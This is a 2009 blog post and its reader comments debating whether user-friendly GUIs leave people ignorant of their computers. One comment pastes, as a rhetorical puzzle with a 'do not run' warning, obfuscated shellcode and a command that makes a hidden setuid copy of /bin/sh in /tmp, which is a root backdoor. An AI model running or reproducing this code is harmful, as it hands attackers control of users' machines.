Do modern GUIs make for clueless users?
Users of electronics relate to their devices through a graphic user interface, or GUI. The iPhone and iPod Touch have received a lot of accolades for their revolutionary user interface. Some users buy their phones based largely on the user interface. Whether your computer runs Windows, Linux or Macintosh, most of your interaction with your computer is through the graphic user interface (desktop).
When an operating system is upgraded, the most noticed features involve the GUI. Apple is famous for their GUI. Microsoft has for years been playing catch-up with Apple over the user interface. Linux users are flocking to Ubuntu, primarily due to its friendly and functional user interface. We have recently seen new releases of Mac’s OS X, Windows 7 and Ubuntu 9.10, all of which focused on a better experience for the user by improvements to the GUI.
At the same time many of us “geeks” continue to complain about the number of “clueless users”, computer owners who don’t understand much about their computer beyond the user interface. It’s a situation akin to the car owner who knows how to drive the car but has no idea what goes on under the hood, no clue as to how to add oil or change the filters. People who mistake the desktop for their computer or AOL for the internet are the stock of many in-jokes in the IT world. Many of us who have worked help desks shake our heads at the stories we’ve heard. We think it’s a shame that more people aren’t interested in the inner workings of their computers or that more don’t take an interest in the amazing things a user can accomplish from the command line.
I suspect that in the interest of making computers “user friendly” we’ve created a situation in which people don’t have to learn much about their own computers. GUIs are so easy to navigate there’s hardly a need to delve further into commands, scripts and other advanced functions.
Even when the effort is made to get users to think more about their computer’s functioning it’s often unappreciated. With Windows Vista Microsoft introduced the User Account Control (UAC), an effort to alert users when a program or website attempted to make changes to their system. The unintended result was that either users disabled UAC altogether or became jaded and clicked “approve” without reading the content of the warning. This attempt to create more aware users failed, so much so that in Windows 7 Microsoft grants us the ability to restrict the UAC notices that pop up.
Many computer users want to be just that, users. They have no interest in knowing why things happen on their computers, they just want them to work the way they need them to work. The inability of legacy apps to run on newer systems, their inability to make their 1999 printer work with their 2009 operating system simply frustrates them as there’s no “fix this problem” icon on the desktop. It’s doubly frustrating to those of us who try to help them by explaining why the system is failing them. They don’t want to know, they just want it to work.
Maybe if GUIs were a bit less intuitive, maybe if computer interfaces required their user to understand a bit more about why problems occur and what can be done to remedy them we’d have fewer “clueless users”.
Of course there would also be less need for us geeks.
8 Comments
the oracle
November 15th, 2009
at 2:11pm
Short answer – Absolutely!
Jack
November 15th, 2009
at 4:31pm
Maybe I missed the point, but what is the problem with the vast majority of users wanting it to “just work”? If I use a hammer to drive a nail, I don’t need to know the details of making the alloy for the hammer head, or the design that went into the claw used to pull nails, or even if the handle is wood or metal or fiberglass. I just need to hammer a nail in.
The same with cars. I understand the basics of the internal combustion engine, but now with the electronic controls, all I learned as a teenager is pretty much obsolete (no more points to change, no more carburetors to rebuild). That doesn’t make me clueless, it just means I don’t *need* to know it in order to drive the car.
Ultimately, the goal should be to have the user not *need* to know the details of how the software/OS works in order to use it, and it needs to “just work” like our cars and hammers do. Until then, computers aren’t good, reliable tools like cars and hammers.
leftystrat
November 15th, 2009
at 7:38pm
In my opinion, users *start out* clueless: it is not a function of the operating system, gui, or tutors.
At work, I have 300 local pc users. We’re always looking for ways to make things easier because they don’t `get’ Windows.
Trust me – they bring their own DUMB to the party.
LJ
November 18th, 2009
at 6:51am
Nope. Not buying it.
I am a software engineer by trade, training and mien. In my view computers and many software packages are still too hard to use. They require less problem domain thinking and more tool thinking. Too problematic, requiring too much maintenance and too much study to always trust and use effectively. A hammer, a screwdriver and if you are going to use a car as a model look at the Prius. These are all tools that are simple to use. The Prius is heading in a direction that makes cars more usable – forward, reverse, go, stop, steer. Who really understands the innards? You can drive it effectively without having any idea about regenerative braking, when the car will switch from electric to mechanical drive. Can’t maintain it yourself effectively – so off it goes to the pro’s.
It’s the job of the tech community to ensure that whatever jobs a computer is required to do, it does easily, well and acts as an effective tool. Star Trek provides a model for how the penultimate computer should work, a reference librarian also and a hammer are all good models to follow not the model T.
Jewel
November 18th, 2009
at 8:37am
Thanks for sharing this post. It’s a nice article especially that I am one of the clueless users.
Xympa
November 20th, 2009
at 8:47am
Unfortunatly, (or not) some users are just plain blind, I know many of them… Yet that leads to crys out for help to the geeks, knowadays were becoming some kind of superheros… And like Bill Gates said:
“Don’t misstreat the guy who is smarter than you, he is probably gonna be your boss…”
matt
November 20th, 2009
at 8:43pm
because i know more about the computers than the piece of crap known as machines that were built to run vista but run xp and are further limited by Novel (it won’t even let me change the background(except for in paint)). Pretty much i am idolized in computer science class because of this (and the fact that i have seen computer guts). talking is a pain when people don’t know a hard drive from a flash drive from ram. or AOL from the internet. or a desktop from a computer. or a screen from a monitor. The list is endless… Why are my friends so d*** computer illiterate?
and just to prove this, people ask me “hey, how do you turn on the computer?” and “my computer doesn’t work… make it work!!” or a more intelligent question “the power light is on, but how come nothing popped up?” some folks (including my computer science teacher) don’t even know how to work a smart board. one of the most simple technologies ever!
Glenn
January 9th, 2010
at 12:18am
I agree with most of the comments above.
I personally am interested in and quite competent with computers. I’ve used them since the early ’80s and have been through various OSes, including MSDOS, Amiga DOS, Windows, OS/2, BeOS, and Linux.
I am competent enough with hard drives as to have written a “How-To” on hard drive partitioning. Now I could partition using PartEd, which is a command line disk partitioning editor, but why should I when GPartEd, which is a GUI front end for PartEd, exists? With PartEd, if you type in something wrong, or have a typo in the commands, you can blow another existing partition out, or even the whole hard drive. With GPartEd, there are safeguards built in that won’t allow that (at least, not very often).
I frequently use the terminal in Linux to accomplish tasks that just don’t have an applicable GUI with which to accomplish same. However, I feel no need to prove my “geekiness” by tormenting myself doing things in the command line that I don’t need to.
Not everyone has the desire and drive to just “totally” learn computers, and I understand that. You can add to this that everyone starts out with little or no knowledge of computers, yet wants to be able to use one to browse the Internet, send emails, and communicate with others.
What you are saying is tantamount to telling these people that they aren’t allowed to use a computer until they have attained a “requisite” knowledge of computers, and who determines this “requisite” level of knowledge?
How far do you want to take it? Have you installed software from a tarball in Gentoo? Have you installed a hardware driver by recompiling the kernel in a command line? Have you written a hardware driver using c++ and assembly language?
Tell me…what does the following code do if you enter it and run it from the Ubuntu Linux terminal (hint: DO NOT actually run this! You won’t like the results!)?:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
If you can’t tell me then you shouldn’t be running a computer, because you don’t know enough about them (i.e., you’re clueless). ;)
My questions are rhetorical. My point is, at what point is a user competent enough to use a computer and finally not be labelled as “clueless”?
Everything is made to be easier and easier for the average user to use; cars, hammers, power tools, and yes, computers. The more computers sold and in use, the more money the companies (and repair techs) involved make.
As with hammers, you don’t need to know the design of the hammer or the alloy of the nail. All you need to know is how to drive nails and to keep your thumb and fingers clear of the impact zone. If you don’t know to keep your fingers clear, you’ll learn after some pain and paying the doctor and hospital bills.
Same with computers. You shouldn’t click on email attachments or visit certain sites. If you don’t care to learn before hand, you’ll learn when you get a virus and pay the bill for your computer tech to clean your computer up. “Maybe I shouldn’t click on any more email attachments, and maybe I better not visit that warez site any more.”
Computers are no longer the domain of the geeks and hackers; they’ve gone mainstream, with Joe and Jeanette Six Pack using them more and more. Even my 83 year old father uses one (though I am Sys Admin on it).
Just understand that not everyone wants to know everything there is to know about them, and bask in the adoration lavished on you when you rescue their computer from the brink of total meltdown! :-D